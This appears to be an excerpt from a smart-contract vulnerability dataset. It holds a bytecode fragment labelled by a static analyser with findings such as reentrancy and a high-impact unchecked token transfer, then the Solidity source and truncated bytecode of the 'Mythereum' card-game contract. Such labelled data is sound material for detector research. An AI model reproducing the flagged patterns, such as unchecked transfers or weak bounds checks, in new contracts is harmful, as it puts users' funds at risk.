248201527f4e6f2063757272656e74206578747261637461626c652074696d657300000000604482015290519081900360640190fd5b61059360265461058d602c548561078e90919063ffffffff16565b906106ea565b602c83905590505b602b546105a890826107d0565b602b556105b48161082a565b602754604080518481526020810184905281516001600160a01b03909316927f7c7715ace9c30bc515813d64c04ff95a9e494bc60bd6f03737dce42cf445bf46929181900390910190a25050565b60295481565b602b5481565b602c5481565b4290565b6027546001600160a01b031681565b6001816024811061063457fe5b0154905081565b60008054602754604080516370a0823160e01b81526001600160a01b039283166004820152905191909216916370a08231916024808301926020929190829003018186803b1580156103e157600080fd5b60008060005b60248110156106c657600181602481106106a857fe5b01546106b2610614565b106106be576001909101905b600101610692565b50905090565b602d5481565b602a5460ff1681565b6000546001600160a01b031681565b6000826106f957506000610746565b8282028284828161070657fe5b04146107435760405162461bcd60e51b8152600401808060200182810382526021815260200180610ab56021913960400191505060405180910390fd5b90505b92915050565b600061074383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506108fb565b600061074383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061099d565b600082820183811015610743576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b80610833610395565b10156108705760405162461bcd60e51b815260040180806020018281038252602b815260200180610a60602b913960400191505060405180910390fd5b600080546027546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018690529051919092169263a9059cbb92604480820193602093909283900390910190829087803b1580156108cc57600080fd5b505af11580156108e0573d6000803e3d6000fd5b505050506040513d60208110156108f657600080fd5b505050565b600081836109875760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561094c578181015183820152602001610934565b50505050905090810190601f1680156109795780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161099357fe5b0495945050505050565b600081848411156109ef5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561094c578181015183820152602001610934565b50505090039056fe54686520666972737420756e6c6f636b696e6720686173206265656e20706572666f726d65642c20616e642063616e6e6f7420626520726570656174656449742773206e6f742074696d6520746f20756e6c6f636b20666f72207468652066697273742074696d65496e73756666696369656e7420617661696c61626c652062616c616e636520666f72207472616e736665725468657265206973206e6f2062616c616e636520746f20756e6c6f636b20616e64207769746864726177536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775468652070726f6a6563742070617274792069732072657175657374656420746f207472616e7366657220656e6f75676820746f6b656e7320746f20737461727420746865206c6f636b20757020636f6e7472616374596f7520646f206e6f742068617665207065726d697373696f6e20746f20756e6c6f636ba2646970667358221220eecf09babde2c81c8299befade8fac32b524fc425f49601197ab8b28eda2dc3c64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 7,976 |
0x2c3f2451143e8cec0341b064fcb8fe137ce5d6dd
|
pragma solidity ^0.4.21;
/**
* @title Maths
* A library to make working with numbers in Solidity hurt your brain less.
*/
library Maths {
/**
* @dev Adds two addends together, returns the sum
* @param addendA the first addend
* @param addendB the second addend
* @return sum the sum of the equation (e.g. addendA + addendB)
*/
function plus(
uint256 addendA,
uint256 addendB
) public pure returns (uint256 sum) {
sum = addendA + addendB;
}
/**
* @dev Subtracts the minuend from the subtrahend, returns the difference
* @param minuend the minuend
* @param subtrahend the subtrahend
* @return difference the difference (e.g. minuend - subtrahend)
*/
function minus(
uint256 minuend,
uint256 subtrahend
) public pure returns (uint256 difference) {
assert(minuend >= subtrahend);
difference = minuend - subtrahend;
}
/**
* @dev Multiplies two factors, returns the product
* @param factorA the first factor
* @param factorB the second factor
* @return product the product of the equation (e.g. factorA * factorB)
*/
function mul(
uint256 factorA,
uint256 factorB
) public pure returns (uint256 product) {
if (factorA == 0 || factorB == 0) return 0;
product = factorA * factorB;
assert(product / factorA == factorB);
}
/**
* @dev Multiplies two factors, returns the product
* @param factorA the first factor
* @param factorB the second factor
* @return product the product of the equation (e.g. factorA * factorB)
*/
function times(
uint256 factorA,
uint256 factorB
) public pure returns (uint256 product) {
return mul(factorA, factorB);
}
/**
* @dev Divides the dividend by divisor, returns the truncated quotient
* @param dividend the dividend
* @param divisor the divisor
* @return quotient the quotient of the equation (e.g. dividend / divisor)
*/
function div(
uint256 dividend,
uint256 divisor
) public pure returns (uint256 quotient) {
quotient = dividend / divisor;
assert(quotient * divisor == dividend);
}
/**
* @dev Divides the dividend by divisor, returns the truncated quotient
* @param dividend the dividend
* @param divisor the divisor
* @return quotient the quotient of the equation (e.g. dividend / divisor)
*/
function dividedBy(
uint256 dividend,
uint256 divisor
) public pure returns (uint256 quotient) {
return div(dividend, divisor);
}
/**
* @dev Divides the dividend by divisor, returns the quotient and remainder
* @param dividend the dividend
* @param divisor the divisor
* @return quotient the quotient of the equation (e.g. dividend / divisor)
* @return remainder the remainder of the equation (e.g. dividend % divisor)
*/
function divideSafely(
uint256 dividend,
uint256 divisor
) public pure returns (uint256 quotient, uint256 remainder) {
quotient = div(dividend, divisor);
remainder = dividend % divisor;
}
/**
* @dev Returns the lesser of two values.
* @param a the first value
* @param b the second value
* @return result the lesser of the two values
*/
function min(
uint256 a,
uint256 b
) public pure returns (uint256 result) {
result = a <= b ? a : b;
}
/**
* @dev Returns the greater of two values.
* @param a the first value
* @param b the second value
* @return result the greater of the two values
*/
function max(
uint256 a,
uint256 b
) public pure returns (uint256 result) {
result = a >= b ? a : b;
}
/**
* @dev Determines whether a value is less than another.
* @param a the first value
* @param b the second value
* @return isTrue whether a is less than b
*/
function isLessThan(uint256 a, uint256 b) public pure returns (bool isTrue) {
isTrue = a < b;
}
/**
* @dev Determines whether a value is equal to or less than another.
* @param a the first value
* @param b the second value
* @return isTrue whether a is less than or equal to b
*/
function isAtMost(uint256 a, uint256 b) public pure returns (bool isTrue) {
isTrue = a <= b;
}
/**
* @dev Determines whether a value is greater than another.
* @param a the first value
* @param b the second value
* @return isTrue whether a is greater than b
*/
function isGreaterThan(uint256 a, uint256 b) public pure returns (bool isTrue) {
isTrue = a > b;
}
/**
* @dev Determines whether a value is equal to or greater than another.
* @param a the first value
* @param b the second value
* @return isTrue whether a is less than b
*/
function isAtLeast(uint256 a, uint256 b) public pure returns (bool isTrue) {
isTrue = a >= b;
}
}
/**
* @title Manageable
*/
contract Manageable {
address public owner;
address public manager;
event OwnershipChanged(address indexed previousOwner, address indexed newOwner);
event ManagementChanged(address indexed previousManager, address indexed newManager);
/**
* @dev The Manageable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Manageable() public {
owner = msg.sender;
manager = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner or manager.
*/
modifier onlyManagement() {
require(msg.sender == owner || msg.sender == manager);
_;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipChanged(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the owner or manager to replace the current manager
* @param newManager The address to give contract management rights.
*/
function replaceManager(address newManager) public onlyManagement {
require(newManager != address(0));
ManagementChanged(manager, newManager);
manager = newManager;
}
}
contract ERC20 {
function allowance(address owner, address spender) public view returns (uint256);
function approve(address spender, uint256 value) public returns (bool);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function totalSupply() public view returns (uint256);
}
contract MythereumERC20Token is ERC20 {
function burn(address burner, uint256 amount) public returns (bool);
function mint(address to, uint256 amount) public returns (bool);
}
contract MythereumCardToken {
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId) public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator) public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
) public;
function isEditionAvailable(uint8 _editionNumber) public view returns (bool);
function cloneCard(address _owner, uint256 _tokenId) public returns (bool);
function mintRandomCards(
address _owner,
uint8 _editionNumber,
uint8 _numCards
) public returns (bool);
function improveCard(
uint256 _tokenId,
uint256 _addedDamage,
uint256 _addedShield
) public returns (bool);
function destroyCard(uint256 _tokenId) public returns (bool);
}
contract Mythereum is Manageable {
using Maths for uint256;
struct Edition {
string name;
uint256 sales;
uint256 maxSales;
uint8 packSize;
uint256 packPrice;
uint256 packPriceIncrease;
}
mapping (uint8 => Edition) public editions;
mapping (address => bool) public isVIP;
mapping (address => bool) public isTokenAccepted;
mapping (address => uint256) public tokenCostPerPack;
mapping (uint256 => uint256) public mythexCostPerUpgradeLevel;
mapping (uint256 => uint256) public cardDamageUpgradeLevel;
mapping (uint256 => uint256) public cardShieldUpgradeLevel;
uint256 public maxCardUpgradeLevel = 30;
address public cardTokenAddress;
address public xpTokenAddress;
address public mythexTokenAddress;
address public gameHostAddress;
/* data related to shared ownership */
uint256 public totalShares = 0;
uint256 public totalReleased = 0;
mapping(address => uint256) public shares;
mapping(address => uint256) public released;
event CardsPurchased(uint256 editionNumber, uint256 packSize, address buyer);
event CardUpgraded(uint256 cardId, uint256 addedDamage, uint256 addedShield);
modifier onlyHosts() {
require(
msg.sender == owner ||
msg.sender == manager ||
msg.sender == gameHostAddress
);
_;
}
function Mythereum() public {
editions[0] = Edition({
name: "Genesis",
sales: 3999,
maxSales: 5000,
packSize: 7,
packPrice: 100 finney,
packPriceIncrease: 1 finney
});
editions[1] = Edition({
name: "Survivor",
sales: 20,
maxSales: 1000000,
packSize: 10,
packPrice: 0,
packPriceIncrease: 0
});
isVIP[msg.sender] = true;
}
/**
* @dev Disallow funds being sent directly to the contract since we can't know
* which edition they'd intended to purchase.
*/
function () public payable {
revert();
}
function buyPack(
uint8 _editionNumber
) public payable {
uint256 packPrice = isVIP[msg.sender] ? 0 : editions[_editionNumber].packPrice;
require(msg.value.isAtLeast(packPrice));
if (msg.value.isGreaterThan(packPrice)) {
msg.sender.transfer(msg.value.minus(packPrice));
}
_deliverPack(msg.sender, _editionNumber);
}
function buyPackWithERC20Tokens(
uint8 _editionNumber,
address _tokenAddress
) public {
require(isTokenAccepted[_tokenAddress]);
_processERC20TokenPackPurchase(_editionNumber, _tokenAddress, msg.sender);
}
function upgradeCardDamage(uint256 _cardId) public {
require(cardDamageUpgradeLevel[_cardId].isLessThan(maxCardUpgradeLevel));
uint256 costOfUpgrade = 32 * (cardDamageUpgradeLevel[_cardId] + 1);
MythereumERC20Token mythexContract = MythereumERC20Token(mythexTokenAddress);
require(mythexContract.balanceOf(msg.sender).isAtLeast(costOfUpgrade));
burnMythexTokens(msg.sender, costOfUpgrade);
cardDamageUpgradeLevel[_cardId]++;
_improveCard(_cardId, 1, 0);
}
function upgradeCardShield(uint256 _cardId) public {
require(cardShieldUpgradeLevel[_cardId].isLessThan(maxCardUpgradeLevel));
uint256 costOfUpgrade = 32 * (cardShieldUpgradeLevel[_cardId] + 1);
MythereumERC20Token mythexContract = MythereumERC20Token(mythexTokenAddress);
require(mythexContract.balanceOf(msg.sender).isAtLeast(costOfUpgrade));
burnMythexTokens(msg.sender, costOfUpgrade);
cardShieldUpgradeLevel[_cardId]++;
_improveCard(_cardId, 0, 1);
}
function improveCard(
uint256 _cardId,
uint256 _addedDamage,
uint256 _addedShield
) public onlyManagement {
require(cardShieldUpgradeLevel[_cardId].isLessThan(maxCardUpgradeLevel));
_improveCard(_cardId, _addedDamage, _addedShield);
}
function _improveCard(
uint256 _cardId,
uint256 _addedDamage,
uint256 _addedShield
) internal {
MythereumCardToken cardToken = MythereumCardToken(cardTokenAddress);
require(cardToken.improveCard(_cardId, _addedDamage, _addedShield));
CardUpgraded(_cardId, _addedDamage, _addedShield);
}
function receiveApproval(
address _sender,
uint256 _value,
address _tokenContract,
bytes _extraData
) public {
require(isTokenAccepted[_tokenContract]);
uint8 editionNumber = 0;
if (_extraData.length != 0) editionNumber = uint8(_extraData[0]);
_processERC20TokenPackPurchase(editionNumber, _tokenContract, _sender);
}
function _processERC20TokenPackPurchase(
uint8 _editionNumber,
address _tokenAddress,
address _buyer
) internal {
require(isTokenAccepted[_tokenAddress]);
ERC20 tokenContract = ERC20(_tokenAddress);
uint256 costPerPack = tokenCostPerPack[_tokenAddress];
uint256 ourBalanceBefore = tokenContract.balanceOf(address(this));
tokenContract.transferFrom(_buyer, address(this), costPerPack);
uint256 ourBalanceAfter = tokenContract.balanceOf(address(this));
require(ourBalanceAfter.isAtLeast(ourBalanceBefore.plus(costPerPack)));
_deliverPack(_buyer, _editionNumber);
}
function burnMythexTokens(address _burner, uint256 _amount) public onlyHosts {
require(_burner != address(0));
MythereumERC20Token(mythexTokenAddress).burn(_burner, _amount);
}
function burnXPTokens(address _burner, uint256 _amount) public onlyHosts {
require(_burner != address(0));
MythereumERC20Token(xpTokenAddress).burn(_burner, _amount);
}
function grantMythexTokens(address _recipient, uint256 _amount) public onlyHosts {
require(_recipient != address(0));
MythereumERC20Token(mythexTokenAddress).mint(_recipient, _amount);
}
function grantXPTokens(address _recipient, uint256 _amount) public onlyHosts {
require(_recipient != address(0));
MythereumERC20Token(xpTokenAddress).mint(_recipient, _amount);
}
function grantPromoPack(
address _recipient,
uint8 _editionNumber
) public onlyManagement {
_deliverPack(_recipient, _editionNumber);
}
function setTokenAcceptanceRate(
address _token,
uint256 _costPerPack
) public onlyManagement {
if (_costPerPack > 0) {
isTokenAccepted[_token] = true;
tokenCostPerPack[_token] = _costPerPack;
} else {
isTokenAccepted[_token] = false;
tokenCostPerPack[_token] = 0;
}
}
function transferERC20Tokens(
address _token,
address _recipient,
uint256 _amount
) public onlyManagement {
require(ERC20(_token).transfer(_recipient, _amount));
}
function addVIP(address _vip) public onlyManagement {
isVIP[_vip] = true;
}
function removeVIP(address _vip) public onlyManagement {
isVIP[_vip] = false;
}
function setEditionName(
uint8 _editionNumber,
string _name
) public onlyManagement {
editions[_editionNumber].name = _name;
}
function setEditionSales(
uint8 _editionNumber,
uint256 _numSales
) public onlyManagement {
editions[_editionNumber].sales = _numSales;
}
function setEditionMaxSales(
uint8 _editionNumber,
uint256 _maxSales
) public onlyManagement {
editions[_editionNumber].maxSales = _maxSales;
}
function setEditionPackPrice(
uint8 _editionNumber,
uint256 _newPrice
) public onlyManagement {
editions[_editionNumber].packPrice = _newPrice;
}
function setEditionPackPriceIncrease(
uint8 _editionNumber,
uint256 _increase
) public onlyManagement {
editions[_editionNumber].packPriceIncrease = _increase;
}
function setEditionPackSize(
uint8 _editionNumber,
uint8 _newSize
) public onlyManagement {
editions[_editionNumber].packSize = _newSize;
}
function setCardTokenAddress(address _addr) public onlyManagement {
require(_addr != address(0));
cardTokenAddress = _addr;
}
function setXPTokenAddress(address _addr) public onlyManagement {
require(_addr != address(0));
xpTokenAddress = _addr;
}
function setMythexTokenAddress(address _addr) public onlyManagement {
require(_addr != address(0));
mythexTokenAddress = _addr;
}
function setGameHostAddress(address _addr) public onlyManagement {
require(_addr != address(0));
gameHostAddress = _addr;
}
function claim() public {
_claim(msg.sender);
}
function addShareholder(address _payee, uint256 _shares) public onlyOwner {
require(_payee != address(0));
require(_shares.isAtLeast(1));
require(shares[_payee] == 0);
shares[_payee] = _shares;
totalShares = totalShares.plus(_shares);
}
function removeShareholder(address _payee) public onlyOwner {
require(shares[_payee] != 0);
_claim(_payee);
_forfeitShares(_payee, shares[_payee]);
}
function grantAdditionalShares(
address _payee,
uint256 _shares
) public onlyOwner {
require(shares[_payee] != 0);
require(_shares.isAtLeast(1));
shares[_payee] = shares[_payee].plus(_shares);
totalShares = totalShares.plus(_shares);
}
function forfeitShares(uint256 _numShares) public {
_forfeitShares(msg.sender, _numShares);
}
function transferShares(address _to, uint256 _numShares) public {
require(_numShares.isAtLeast(1));
require(shares[msg.sender].isAtLeast(_numShares));
shares[msg.sender] = shares[msg.sender].minus(_numShares);
shares[_to] = shares[_to].plus(_numShares);
}
function transferEntireStake(address _to) public {
transferShares(_to, shares[msg.sender]);
}
function _claim(address payee) internal {
require(shares[payee].isAtLeast(1));
uint256 totalReceived = address(this).balance.plus(totalReleased);
uint256 payment = totalReceived.times(shares[payee]).dividedBy(totalShares).minus(released[payee]);
require(payment != 0);
require(address(this).balance.isAtLeast(payment));
released[payee] = released[payee].plus(payment);
totalReleased = totalReleased.plus(payment);
payee.transfer(payment);
}
function _forfeitShares(address payee, uint256 numShares) internal {
require(shares[payee].isAtLeast(numShares));
shares[payee] = shares[payee].minus(numShares);
totalShares = totalShares.minus(numShares);
}
function _deliverPack(address recipient, uint8 editionNumber) internal {
Edition storage edition = editions[editionNumber];
require(edition.sales.isLessThan(edition.maxSales.plus(edition.packSize)));
edition.sales = edition.sales.plus(edition.packSize);
edition.packPrice = edition.packPrice.plus(edition.packPriceIncrease);
MythereumCardToken cardToken = MythereumCardToken(cardTokenAddress);
cardToken.mintRandomCards(recipient, editionNumber, edition.packSize);
CardsPurchased(editionNumber, edition.packSize, recipient);
}
}
|
0x608060405260043610610272576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302978be8146102775780630560bd96146102ce578063095dc5cf146103295780630b39f18e1461036c5780630cd8dd0b146103af578063137e1ba8146103f2578063141e26a5146104335780631474b7891461046d5780631c3cf5d0146104ba5780631cc72868146104f457806322bac5681461054b578063233a04ec1461059857806323447982146105d25780632a92bffa146106155780633a98ef391461064f5780633b9178f71461067a5780634145aa9d146106bd578063481c6a751461070a5780634c303276146107615780634e71d92d146108335780634f3b89381461084a5780634f7d4951146108a15780635da99f5e146108e45780636254cf80146109115780636e5816731461095457806375724990146109a45780637ab42bbd146109f15780637d1e97a114610a3e57806387b5f11414610a955780638a83d4a014610aec5780638da5cb5b14610b395780638f4ffcb114610b905780638fcb4e5b14610c435780638fd1b1f214610c90578063940d72ec14610cbb5780639852595c14610cde5780639babdad614610d35578063b9324db614610d78578063c3c75e5c14610da5578063c41c9a6114610de2578063cd7ecda014610e4f578063ce7c2ac214610e9f578063d54c2a6314610ef6578063dd0b1af514610f37578063e33b7de314610f7a578063ef2f92ad14610fa5578063f2fde38b14610fd2578063f4201c3c14611015578063f5109a3914611070578063f5ea25f0146110b1578063f7bb495c146110fe578063ff0ec23e1461113f575b600080fd5b34801561028357600080fd5b5061028c6111b5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102da57600080fd5b5061030f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111db565b604051808215151515815260200191505060405180910390f35b34801561033557600080fd5b5061036a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111fb565b005b34801561037857600080fd5b506103ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611309565b005b3480156103bb57600080fd5b506103f0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061143c565b005b3480156103fe57600080fd5b5061041d6004803603810190808035906020019092919050505061156f565b6040518082815260200191505060405180910390f35b34801561043f57600080fd5b5061046b600480360381019080803560ff16906020019092919080359060200190929190505050611587565b005b34801561047957600080fd5b506104b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061165f565b005b3480156104c657600080fd5b506104f2600480360381019080803560ff169060200190929190803590602001909291905050506118ab565b005b34801561050057600080fd5b50610535600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611983565b6040518082815260200191505060405180910390f35b34801561055757600080fd5b50610596600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061199b565b005b3480156105a457600080fd5b506105d0600480360381019080803560ff16906020019092919080359060200190929190505050611cef565b005b3480156105de57600080fd5b50610613600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611dc7565b005b34801561062157600080fd5b5061064d600480360381019080803560ff16906020019092919080359060200190929190505050611f76565b005b34801561065b57600080fd5b5061066461204e565b6040518082815260200191505060405180910390f35b34801561068657600080fd5b506106bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612054565b005b3480156106c957600080fd5b50610708600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506120a0565b005b34801561071657600080fd5b5061071f6122ec565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561076d57600080fd5b5061078f600480360381019080803560ff169060200190929190505050612312565b60405180806020018781526020018681526020018560ff1660ff168152602001848152602001838152602001828103825288818151815260200191508051906020019080838360005b838110156107f35780820151818401526020810190506107d8565b50505050905090810190601f1680156108205780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390f35b34801561083f57600080fd5b506108486123f3565b005b34801561085657600080fd5b5061085f6123fe565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108ad57600080fd5b506108e2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612424565b005b3480156108f057600080fd5b5061090f60048036038101908080359060200190929190505050612532565b005b34801561091d57600080fd5b50610952600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612815565b005b34801561096057600080fd5b506109a2600480360381019080803560ff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612948565b005b3480156109b057600080fd5b506109ef600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506129af565b005b3480156109fd57600080fd5b50610a3c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612c50565b005b348015610a4a57600080fd5b50610a53612e9c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610aa157600080fd5b50610aaa612ec2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610af857600080fd5b50610b37600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612ee8565b005b348015610b4557600080fd5b50610b4e613134565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b9c57600080fd5b50610c41600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050613159565b005b348015610c4f57600080fd5b50610c8e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613254565b005b348015610c9c57600080fd5b50610ca5613672565b6040518082815260200191505060405180910390f35b610cdc600480360381019080803560ff169060200190929190505050613678565b005b348015610cea57600080fd5b50610d1f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613967565b6040518082815260200191505060405180910390f35b348015610d4157600080fd5b50610d76600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061397f565b005b348015610d8457600080fd5b50610da360048036038101908080359060200190929190505050613a7e565b005b348015610db157600080fd5b50610de0600480360381019080803560ff169060200190929190803560ff169060200190929190505050613d61565b005b348015610dee57600080fd5b50610e4d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613e4d565b005b348015610e5b57600080fd5b50610e9d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050613fee565b005b348015610eab57600080fd5b50610ee0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506140af565b6040518082815260200191505060405180910390f35b348015610f0257600080fd5b50610f356004803603810190808035906020019092919080359060200190929190803590602001909291905050506140c7565b005b348015610f4357600080fd5b50610f78600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061425a565b005b348015610f8657600080fd5b50610f8f61438d565b6040518082815260200191505060405180910390f35b348015610fb157600080fd5b50610fd060048036038101908080359060200190929190505050614393565b005b348015610fde57600080fd5b50611013600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506143a0565b005b34801561102157600080fd5b50611056600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506144f5565b604051808215151515815260200191505060405180910390f35b34801561107c57600080fd5b5061109b60048036038101908080359060200190929190505050614515565b6040518082815260200191505060405180910390f35b3480156110bd57600080fd5b506110fc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061452d565b005b34801561110a57600080fd5b506111296004803603810190808035906020019092919050505061472c565b6040518082815260200191505060405180910390f35b34801561114b57600080fd5b506111b3600480360381019080803560ff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050614744565b005b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806112a35750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156112ae57600080fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806113b15750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156113bc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113f857600080fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806114e45750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156114ef57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561152b57600080fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60086020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061162f5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561163a57600080fd5b80600260008460ff1660ff168152602001908152602001600020600201819055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806117075750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b8061175f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561176a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156117a657600080fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639dc29fac83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561186b57600080fd5b505af115801561187f573d6000803e3d6000fd5b505050506040513d602081101561189557600080fd5b8101908080519060200190929190505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806119535750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561195e57600080fd5b80600260008460ff1660ff168152602001908152602001600020600501819055505050565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119f657600080fd5b6000601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414151515611a4557600080fd5b8073b5f1efa8